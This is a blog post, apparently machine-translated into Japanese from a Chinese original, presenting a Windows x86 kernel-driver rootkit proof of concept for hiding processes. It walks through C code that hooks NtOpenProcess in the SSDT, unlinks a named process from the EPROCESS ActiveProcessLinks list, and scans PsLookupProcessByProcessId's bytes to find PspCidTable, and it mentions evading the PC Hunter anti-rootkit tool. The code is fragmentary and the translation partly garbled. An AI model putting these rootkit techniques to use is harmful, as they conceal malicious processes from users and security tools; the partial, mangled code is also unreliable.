ドライバーレベルのルートキット攻撃テスト-プロセスの非表示

カーネルプログラミングを学びましょう。できるだけ早くPOCプログラムを書けたらいいのにと思います。

SSDTフックNtOpenProcess

typedef NTSTATUS(*pfnNtOpenProcess)(
	PHANDLE,
	ACCESS_MASK,
	POBJECT_ATTRIBUTES,
	PCLIENT_ID);
	
pfnNtOpenProcess OldNtOpenProcess;

APIを指す関数ポインタ定義メソッドを定義します。この役割は、元の関数アドレスをバックアップするためのAPI関数ポインターを定義することです。

typedef struct _SERVICE_DESCRIPTOR_TABLE {
    
    
	PVOID 	ServiceTableBase;//System Service Dispatch Table 的基地址
	PVOID 	ServiceCounterTableBase;//包含着 SSDT 中每个服务被调用次数的计数器。这个计数器一般由sysenter 更新
	ULONG	NumberOfServices;//由 ServiceTableBase 描述的服务的数目
	PUCHAR	ParamTableBase;//包含每个系统服务参数字节数表的基地址-系统服务参数表
}SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;

SERVICE_DESCRIPTOR_TABLE構造タイプを定義します。SERVICE_DESCRIPTOR_TABLE= struct _SERVICE_DESCRIPTOR_TABLE、SERVICE_DESCRIPTOR_TABLEは実際には_SERVICE_DESCRIPTOR_TABLEのエイリアスです。C言語の小さな基盤。


VOID TestAddr(PCWSTR funcname)
{
    
    
	UNICODE_STRING strToFind;
	RtlInitUnicodeString(&strToFind, funcname);
	PVOID AddrToFind = MmGetSystemRoutineAddress(&strToFind);
	if (NULL != AddrToFind) {
    
    
		DbgPrint("Hook之前调用MmGetSystemRoutineAddress: 0x%X\n", AddrToFind);
		DbgPrint("Hook之前直接用NtOpenProcess名 %X\n", NtOpenProcess);
		//直接用函数名获得的NtOpenProcess的地址和用MmGetSystemRoutineAddress获得的地址一样
		OldNtOpenProcess = (pfnNtOpenProcess)HookSSDTFunction(NtOpenProcess, MyNtOpenProcess);//传入原始函数地址和自定义的函数地址,返回指向原始函数地址的函数指针
	}
}

MmGetSystemRoutineAddressを使用して、エクスポートされていない関数アドレスメソッドを取得し、それを関数ポインター呼び出しに変換できます。

for (ULONG i = 0; i < KeServiceDescriptorTable.NumberOfServices; i++)
{
    
    
	if ((LONG)pMdlLocked[i] == (LONG)OldFunction)
	{
    
    
		InterlockedExchange(&pMdlLocked[i], (LONG)HookFunction);
        break;
    }
}

KeServiceDescriptorTableをトラバースして元のNtOpenProcess関数アドレスを見つけ、InterlockedExchange関数を使用してマルチスレッドでループロック関数を実装します。いわゆるループロックは、スレッド1で変数を操作する場合、最初にチェックする必要があることを意味します。変数(またはリソース)が使用されているかどうか他のスレッドによって使用されている場合、ループは他のスレッドが変数(またはリソース)の制御を放棄するまで続きます。そうでない場合は、変数(またはリソース)を直接操作できます。

EProcessのActiveProcessLinks双方向循環リンクリストが壊れています

ListEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET; 
 v1 = (ULONG_PTR)ListEntry->Flink - x86_EPROCESS_OFFSET;
 while (v1 != EProcess)
 {
    
    
 //v1  0x87e95d40 struct _KPROCESS *
 //ImageFileName  0x87e95eac "calc.exe"
  ImageFileName = (ULONG_PTR)v1 + x86_IMAGEFILENAME_OFFSET;
  if (strcmp(ImageFileName,"System")==0)
  {
    
    
   __HeadEntry = (ULONG_PTR)v1+ x86_EPROCESS_OFFSET;
  }
  ListEntry = (ULONG_PTR)v1 + x86_EPROCESS_OFFSET;
  if (strcmp(ImageFileName, ProcessName) == 0)
  {
    
    
   if (ListEntry != NULL)
   {
    
    
    __ListEntry = ListEntry;
    RemoveEntryList(ListEntry);//调用此API移除链表
    Status = STATUS_SUCCESS;
    break;
          }
  }
 v1 = (ULONG_PTR)(ListEntry->Flink) - x86_EPROCESS_OFFSET;

ここでは、16バイトのEPROCESSのImageFileNameに特に注意してください。[15] UChar。

PsLookupProcessByProcessId関数でPspCidTable構造を検索し、アドレスを取得します

RtlInitUnicodeString (&pslookup, L"PsLookupProcessByProcessId");	
addr=(PUCHAR)MmGetSystemRoutineAddress(&pslookup);
	KdPrint(("PsLookupProcessByProcessId addr=0x%x\r\n", addr));
	for (p=addr;p<addr+PAGE_SIZE;p++)      //搜索PsLookupProcessByProcessId函数
	{
    
    
		if((*(PUSHORT)p==0x35ff)&&(*(p+6)==0xe8))// 注意这句
		{
    
    
			cid=*(PULONG)(p+2);
			return cid;
			//break;
		}
	}

まず、WindowsプラットフォームのVSコンパイラでは、32ビットか64ビットかに関係なく、Intは4バイトである必要があります。USHORTは2バイトです。ULONGも4バイトです。
(PUSHORT)p == 0x35ff)&&((p + 6)== 0xe8)は、FF35XXXXXXXXe8バイトコードを意味します。
ここに画像の説明を挿入
関数の逆アセンブルを見ることができます。
プッシュオフセットや呼び出しxxxなどの関数呼び出しメソッドは、このマシンコード検索方法を使用して追跡できます。
cid = *(PULONG)(p + 2);をフェッチする場合、開始位置はp + 2であり、フェッチされるサイズは4バイトであることに注意してください。したがって、これはプッシュのオペランド、60b25588です。この相対オフセット+命令の現在のアドレス+命令の長さ= PspCidTableテーブルの実際のメモリアドレス。


HOOK SSDT NtOpenProcessを参照して
メモリの読み取りと書き込みを行うプロセスCR0モードと、メモリの読み取りと書き込みを行うMDLモードを保護します。
プロセスの攻撃と「防御」----プロセスの非表示(Win7 x32バイパスPCハンター)

おすすめ

転載: blog.csdn.net/qq_43312649/article/details/108622711